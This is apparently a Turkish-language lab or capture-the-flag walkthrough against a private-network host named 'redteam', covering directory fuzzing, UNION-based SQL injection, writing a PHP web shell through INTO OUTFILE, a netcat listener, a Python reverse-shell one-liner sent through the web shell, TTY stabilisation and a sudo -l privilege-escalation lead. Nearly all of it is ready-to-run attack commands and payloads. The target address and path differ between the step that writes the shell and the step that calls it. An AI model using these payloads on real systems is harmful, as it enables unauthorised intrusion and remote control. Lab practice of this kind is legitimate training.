1. Bölüm Port Tesbiti ve İçeri Girme
Açık portları ve versyonlarını öğren
Fuzz veya dirb ile siteyi tesbit et
ffuf -u http://192.168.238.135:80/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
SQl Versiyon bilgisi not al
192.168.238.135/viking/search.php?id=9992'union select 1,2,3,4,version() -- -
Cmd aktif et.
192.168.238.135/viking/search.php?id=9992'union select 1,2,3,4,'<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/viking/shell.php' -- -
Dinleme başlatıp içeri gir
Önce kendi makinanızda belirlediğiniz bir boş port üzerinden dinleme başlatın.
nc -nvlp 1453
Url enjekte ile python kodu çalıştırıp belirlediğimiz port üzerinden tünel açalım.
{IpAdresi} Hedef bilgisayarın ip adresini girin süslü parantezleri kaldırın.
{localIP} kendi bilgisayarınızın ip adresinizi girin süslü parantezleri kaldırın.
http://192.168.238.134/viking_app/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.129",1453));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Terminal Alanı Düzeltelim
# Python ile interaktif bash shell başlatma
python3 -c "import pty; pty.spawn('/bin/bash')"
# Bash interaktif shell
/bin/bash -i
# Terminal ayarlarını düzeltme
export TERM=xterm
stty raw -echo && fg
sudo -l Yapalım ve açıklığı bulalım
www-data@redteam:/var/www/html/viking$ **sudo -l**
Matching Defaults entries for www-data on redteam:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on redteam:
**(floki) NOPASSWD: /bin/cat**
Açıklık için hedef yolumuz /bin/cat olduğunu gördük